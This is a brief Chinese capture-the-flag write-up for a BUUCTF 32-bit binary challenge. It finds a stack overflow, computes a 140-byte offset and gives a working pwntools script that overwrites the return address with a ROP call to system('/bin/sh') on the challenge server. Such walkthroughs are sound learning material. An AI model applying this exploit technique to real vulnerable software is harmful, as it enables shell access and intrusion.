话不多说,直接上题(BUUCTF)
32位 IDA 反编译
啊哈,一眼存在栈溢出
查看内存需 140 个字节覆盖
Shift + F12 查看字符串,有可利用函数与字符串,构造 ROP
在 plt 表中拿到 system 地址
32 位中调用 system 函数时需要传入一个将来的返回地址,这个返回地址随意,但必须要有,返回地址后面则是参数
from pwn import *
p = remote('node5.buuoj.cn',29920)
binsh = 0x0804a024
system = 0x08048320
p.recvuntil('Input:\n')
payload = b'a' * 140 + p32(system) + p32(0) + p32(binsh)
p.sendline(payload)
p.interactive()
成功拿到 flag
© 版权声明
THE END
暂无评论内容